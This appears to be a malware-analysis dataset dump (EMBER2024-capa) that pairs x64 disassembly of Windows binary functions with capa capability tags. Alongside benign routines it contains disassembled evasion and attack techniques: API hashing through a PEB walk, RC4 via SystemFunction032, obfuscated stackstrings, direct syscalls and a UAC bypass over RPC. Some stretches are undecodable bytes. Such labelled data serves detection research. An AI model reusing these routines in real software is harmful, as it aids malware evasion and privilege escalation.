joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c030
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c07a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c07a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c07a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c07a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c07a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c07c
xor al, al
add rsp, 0x28
ret

Function at 0x14000fda4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000fc03
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000fc03
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000fc03
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000fc03
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000fc03
cmp dword [rcx + 0x84], 0xe
jbe 0x14000fc03
cmp dword [rcx + 0xf8], 0
je 0x14000fc03
mov ecx, ebx
call fcn.14000fcc0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000fa90
nop
cmp dword [rbp + 0x20], 0
je 0x14000fc51
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000fc5c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000fb94
Function at 0x140019250
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400192d7
mov rsi, rbx
cmp word [rax], bp
je 0x140019296
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140019280
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14001927c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016a90
mov rdi, rax
test rax, rax
je 0x1400192c4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400204c0
mov rbp, rdi
xor ecx, ecx
call fcn.140015ad4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001fcc0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001fce8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001fce8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140004884
Capabilities:
Delete directory

Disassembly:
push rbp
push r15
xor rax, rax
push rax
push rax
sub rsp, 0x28
call fcn.140012b50
mov r15, qword [0x140020504]
cmp r15, 1
jne 0x140004953
push qword [0x1400205f4]
pop rcx
call fcn.14000dd04
mov r15, rax
and r15, r15
jle 0x1400048e9
mov rcx, qword [0x1400205f4]
call fcn.14000dd0c
mov rcx, qword [0x1400205f4]
call fcn.14000dd20
or rax, rax
je 0x1400048e9
mov rbp, qword [0x1400205fc]
push qword [rbp + 0x10]
pop rcx
call fcn.14000e1bc
jmp 0x1400048c6
push qword [0x1400205e4]
pop rcx
call fcn.14000dd04
mov qword [rsp + 0x28], rax
mov r15, qword [rsp + 0x28]
and r15, r15
jle 0x140004953
push 5
push 0
push 1
push qword [0x1400205e4]
pop rcx
pop rdx
pop r8
pop r9
call fcn.140009060
mov rcx, qword [0x1400205e4]
call fcn.14000dd0c
mov rcx, qword [0x1400205e4]
call fcn.14000dd20
or rax, rax
je 0x140004953
mov rbp, qword [0x1400205ec]
push qword [rbp + 0x14]
pop rcx
call sub.KERNEL32.dll_RemoveDirectoryW
jmp 0x140004930
mov rax, 1
jmp 0x14000495f
add rsp, 0x38
pop r15
pop rbp
ret

Function at 0x140006b38
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x48
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rcx
call sub.KERNEL32.dll_GetLastError
mov qword [rsp + 0x38], rax
mov rcx, qword [0x14001f180]
call sub.KERNEL32.dll_TlsGetValue
mov rcx, qword [rsp + 0x30]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0x38]
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret

Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021200]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020630]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020630]
call fcn.1400123b8
lea rcx, [0x140021200]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x14003f6d5
invalid
sbb eax, 0x22ffffd8
sar bh, cl
jmp qword [rsp + rbx*8]
and al, 0xe0
std
jmp qword [0x16703f5de]
Function at 0x1400110be
Capabilities:
Access peb ldr_data

Disassembly:
jmp 0x140012240
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250a4]
call fcn.1400113b6
nop
mov rax, qword gs:[0x60]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x1400122c8
mov rax, qword [rbp + 0x48]
movzx eax, word [rax + 0x48]
test rax, rax
je 0x1400122b9
mov rax, qword [rbp + 0x48]
mov rcx, qword [rax + 0x50]
call fcn.14001143d
cmp eax, dword [rbp + 0x140]
jne 0x1400122b7
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 0x20]
jmp 0x1400122ca
jmp 0x1400122bb
jmp 0x1400122c8
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
jmp 0x140012284
xor eax, eax
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x140011186
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
jmp 0x140016b50
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1a8]
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400250a4]
call fcn.1400113b6
nop
mov dword [rbp + 4], 0
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x28], eax
mov eax, dword [rbp + 0x190]
mov dword [rbp + 0x2c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x30], rax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x58], eax
mov eax, dword [rbp + 0x198]
mov dword [rbp + 0x5c], eax
mov rax, qword [rbp + 0x188]
mov qword [rbp + 0x60], rax
lea rcx, str.Advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.SystemFunction032
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x88], rax
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x58]
call qword [rbp + 0x88]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140016c39
mov edx, dword [rbp + 4]
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.1400111bd
nop
xor eax, eax
jmp 0x140016c3e
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001c260]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x140012880
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x1400112a3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015000
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015020
xor al, al
jmp 0x1400150a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015033
xor al, al
jmp 0x1400150a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001505d
xor al, al
jmp 0x1400150a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015071
xor al, al
jmp 0x1400150a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015083
xor al, al
jmp 0x1400150a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001509f
xor al, al
jmp 0x1400150a1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400112e4
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400118f0
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x3f0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x94
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x418]
mov rax, qword [0x14001f180]
xor rax, rbp
mov qword [rbp + 0x3c8], rax
lea rcx, [0x1400250a4]
call fcn.1400113b6
nop
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140011967
xor eax, eax
jmp 0x140011adc
mov rax, qword [rbp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
cmp dword [rax], 0x4550
je 0x140011990
xor eax, eax
jmp 0x140011adc
lea rax, [rbp + 0x70]
mov rcx, qword [rbp + 0x48]
mov rdi, rax
lea rsi, [rcx + 0x18]
mov ecx, 0xf0
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 0
mov eax, dword [rbp + rax + 0xe0]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x178]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x178]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x1f4], 0
jmp 0x140011a32
mov eax, dword [rbp + 0x1f4]
inc eax
mov dword [rbp + 0x1f4], eax
mov rax, qword [rbp + 0x178]
mov eax, dword [rax + 0x14]
cmp dword [rbp + 0x1f4], eax
jae 0x140011ada
mov eax, dword [rbp + 0x1f4]
mov rcx, qword [rbp + 0x198]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x218], rax
mov rcx, qword [rbp + 0x218]
call fcn.140011438
cmp dword [rbp + 0x3f8], eax
jne 0x140011ad5
mov rcx, qword [rbp + 0x218]
call fcn.140011438
mov r8d, eax
mov rdx, qword [rbp + 0x218]
lea rcx, str.___Hash_Of___hs__Is_:_0x_0.8X__n
call fcn.14001144c
nop
mov eax, dword [rbp + 0x1f4]
mov rcx, qword [rbp + 0x1d8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rbp + 0x1b8]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rbp + 8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
jmp 0x140011adc
jmp 0x140011a24
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001be80]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x3c8]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x3d0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x140013440
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113de
movzx eax, al
test eax, eax
jne 0x140013460
mov ecx, 7
call fcn.140011352
nop
mov byte [rsp + 0x20], 0
call fcn.140011366
mov byte [rsp + 0x21], al
cmp dword [0x14001f9e0], 1
jne 0x140013484
mov ecx, 7
call fcn.140011352
nop
jmp 0x1400134dc
cmp dword [0x14001f9e0], 0
jne 0x1400134d7
mov dword [0x14001f9e0], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111c2
test eax, eax
je 0x1400134b8
mov eax, 0xff
jmp 0x1400135e1
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.14001135c
mov dword [0x14001f9e0], 2
jmp 0x1400134dc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001133e
call fcn.1400112cb
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140013539
mov rcx, qword [rsp + 0x30]
call fcn.140011172
movzx eax, al
test eax, eax
je 0x140013539
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.140011302
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001356d
mov rcx, qword [rsp + 0x38]
call fcn.140011172
movzx eax, al
test eax, eax
je 0x14001356d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.14001139d
nop
call fcn.140013690
mov dword [rsp + 0x28], eax
call fcn.1400112a3
movzx eax, al
test eax, eax
jne 0x14001358c
mov ecx, dword [rsp + 0x28]
call fcn.14001105f
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001359b
call fcn.1400113a7
nop
xor edx, edx
mov cl, 1
call fcn.140011163
mov eax, dword [rsp + 0x28]
jmp 0x1400135e1
add rsp, 0x68
ret
Function at 0x140001a4f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov r12, rcx
test edx, edx
je 0x140001bc3
mov r13d, edx
mov edi, 0
lea r14, [0x140001530]
lea rbx, [0x1438ae561]
jmp 0x140001ab5
mov byte [0x1438ae561], 0
mov edx, esi
sar edx, 0x1f
shr edx, 0x1b
lea eax, [rsi + rdx]
and eax, 0x1f
sub eax, edx
cdqe
lea rdx, [0x1438ae540]
xor bpl, byte [rdx + rax]
mov byte [r12 + rdi], bpl
add rdi, 1
cmp r13, rdi
je 0x140001bc3
mov esi, edi
movzx ebp, byte [r12 + rdi]
mov byte [rsp + 0x20], 0x3e
mov byte [rsp + 0x21], 0x3d
mov byte [rsp + 0x22], 0x3d
mov byte [rsp + 0x23], 0x41
mov byte [rsp + 0x24], 0x48
mov byte [rsp + 0x25], 0x36
mov byte [rsp + 0x26], 0x3b
mov byte [rsp + 0x27], 0x3d
mov byte [rsp + 0x28], 0x3f
mov byte [rsp + 0x29], 0x32
mov byte [rsp + 0x2a], 0x3e
mov byte [rsp + 0x2b], 0x43
mov byte [rsp + 0x2c], 0x3a
mov byte [rsp + 0x2d], 0x41
mov byte [rsp + 0x2e], 0x41
mov byte [rsp + 0x2f], 0x3e
mov byte [rsp + 0x30], 0x34
mov byte [rsp + 0x31], 0x3e
mov byte [rsp + 0x32], 0x3d
mov byte [rsp + 0x33], 0x47
mov byte [rsp + 0x34], 0x40
mov byte [rsp + 0x35], 0x39
mov byte [rsp + 0x36], 0x48
mov byte [rsp + 0x37], 0x43
mov byte [rsp + 0x38], 0x3c
mov byte [rsp + 0x39], 0x39
mov byte [rsp + 0x3a], 0x31
mov byte [rsp + 0x3b], 0x42
mov byte [rsp + 0x3c], 0x49
mov byte [rsp + 0x3d], 0x3f
mov byte [rsp + 0x3e], 0x46
mov byte [rsp + 0x3f], 0x36
mov byte [rsp + 0x40], 0xcf
cmp byte [0x1438ae520], 0
jne 0x140001b9e
mov byte [0x1438ae561], 1
mov eax, 0
lea rcx, [0x1438ae540]
movzx edx, byte [rsp + rax + 0x20]
mov byte [rcx + rax], dl
add rax, 1
cmp rax, 0x21
jne 0x140001b7d
mov byte [0x1438ae520], 1
mov rcx, r14
call fcn.1400014f0
cmp byte [0x1438ae561], 0
je 0x140001a87
lea rax, [0x1438ae540]
add byte [rax], 0x31
add rax, 1
cmp rbx, rax
jne 0x140001bb2
jmp 0x140001a80
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140006ec0
Capabilities:
Parse pe header

Disassembly:
test rcx, rcx
je 0x140006ef0
mov eax, 0
cmp word [rcx], 0x5a4d
jne 0x140006eef
mov eax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140006ef5
cdqe
add rax, rcx
cmp dword [rax], 0x4550
mov edx, 0
cmovne rax, rdx
ret
mov rax, rcx
jmp 0x140006eef
mov eax, 0
jmp 0x140006eef

Function at 0x140007570
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140007520
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140011750
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1438a9470]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1400117bf
mov rcx, r9
call fcn.140011620
test eax, eax
je 0x1400117bf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x1400117bd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400117b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400117bf
add rdx, 0x28
cmp rdx, r9
jne 0x1400117a0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x140001d58
Capabilities:
Bypass uac via rpc

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x150
mov r14d, r9d
mov r15d, r8d
mov r12, rdx
mov r13, rcx
xor edx, edx
mov sil, dl
mov qword [rax + 0x30], rdx
mov dword [rax + 0x40], edx
mov rbx, qword [rsp + 0x1b8]
test rbx, rbx
je 0x140001da8
mov qword [rbx], rdx
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], rdx
lea rdi, [rsp + 0x88]
xor eax, eax
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
lea rdi, [rsp + 0x110]
lea ecx, [rax + 0x38]
rep stosb byte [rdi], al
mov dword [rsp + 0x134], 1
mov word [rsp + 0x138], dx
lea rdi, [rsp + 0xa0]
lea ecx, [rax + 0x70]
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1b8]
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call fcn.140010454
test eax, eax
jne 0x140001f8a
lea edx, [rax + 0x70]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncInitializeHandle]
mov edi, eax
test eax, eax
jne 0x140001e47
mov dword [rsp + 0xcc], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xd0], rax
test rax, rax
jne 0x140001e47
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x140001f8a
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x68], rax
or dword [rsp + 0x60], 0xffffffff
and qword [rsp + 0x58], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0x50], rax
lea rax, str.WinSta0Default
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x190]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov r9, qword [rsp + 0x1b8]
lea r8, [rsp + 0xa0]
lea rdx, [0x140022eb2]
lea rcx, [0x140022e10]
call qword [sym.imp.RPCRT4.dll_NdrAsyncClientCall]
or edi, 0xffffffff
mov edx, edi
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, edi
jne 0x140001ef2
or ecx, 0xffffffff
call qword [sym.imp.RPCRT4.dll_RpcRaiseException]
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncCompleteCall]
test eax, eax
jne 0x140001f52
cmp qword [rsp + 0x198], 0
jne 0x140001f52
test rbx, rbx
je 0x140001f47
mov rax, qword [rsp + 0x88]
mov qword [rbx], rax
mov rax, qword [rsp + 0x90]
mov qword [rbx + 8], rax
mov eax, dword [rsp + 0x98]
mov dword [rbx + 0x10], eax
mov eax, dword [rsp + 0x9c]
mov dword [rbx + 0x14], eax
mov sil, 1
mov byte [rsp + 0x80], sil
mov rcx, qword [rsp + 0xd0]
test rcx, rcx
je 0x140001f6e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0xd0], 0
lea rcx, [rsp + 0x1b8]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
jmp 0x140001f8a
mov al, sil
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
Function at 0x140002750
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x4c0
xor r12d, r12d
mov r15, r9
mov rbx, rcx
mov r14d, r12d
mov ebp, r12d
mov rax, rcx
test rcx, rcx
jne 0x14000278b
mov eax, r12d
jmp 0x1400027a1
cmp word [rcx], r12w
je 0x14000279b
add rax, 2
cmp word [rax], r12w
jne 0x140002791
sub rax, rbx
sar rax, 1
lea r13, [0x1400266a8]
mov rcx, r13
add rcx, 2
cmp word [rcx], r12w
jne 0x1400027ab
sub rcx, r13
mov edx, 8
sar rcx, 1
lea rdi, [rcx + 2]
mov rcx, qword [0x14002eae0]
add rdi, rax
mov rcx, qword [rcx + 0x18]
lea r8, [rdi + rdi]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rsi, rax
test rax, rax
je 0x140002881
mov rdx, rbx
mov rcx, rax
call fcn.140001b00
mov r8, rdi
mov rdx, r13
call fcn.140010598
lea rdx, [rsp + 0x270]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rdi, rax
mov r13d, 1
cmp rax, 0xffffffffffffffff
je 0x140002858
mov r8, r15
lea rdx, [rsp + 0x270]
mov rcx, rbx
call fcn.140002998
test eax, eax
jne 0x14000284c
lea rdx, [rsp + 0x270]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000281e
jmp 0x14000284f
mov ebp, r13d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x14002eae0]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test ebp, ebp
je 0x14000287a
mov eax, r13d
jmp 0x140002976
lea r13, [0x1400266a8]
mov rax, rbx
test rbx, rbx
jne 0x14000288e
mov rax, r12
jmp 0x1400028a4
cmp word [rbx], r12w
je 0x14000289e
add rax, 2
cmp word [rax], r12w
jne 0x140002894
sub rax, rbx
sar rax, 1
mov rcx, qword [0x14002eae0]
lea rsi, [rax + 0x108]
lea r8, [rsi + rsi]
mov edx, 8
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x140002976
mov rdx, rbx
mov rcx, rdi
call fcn.140001b00
mov r8, rsi
lea rdx, [0x1400263f8]
call fcn.140010598
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000295d
test byte [rsp + 0x20], 0x10
je 0x140002942
cmp word [rsp + 0x4c], 0x2e
je 0x140002942
mov rdx, rbx
mov rcx, rdi
call fcn.140001b00
lea rdx, [rsp + 0x4c]
call fcn.140001ac4
lea r8, [fcn.140002998]
mov rdx, r13
mov rcx, rdi
mov r9, r15
call fcn.140002750
mov r14d, eax
test eax, eax
jne 0x140002954
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140002902
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [0x14002eae0]
mov r8, rdi
xor edx, edx
mov rcx, qword [rcx + 0x18]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov eax, r14d
lea r11, [rsp + 0x4c0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret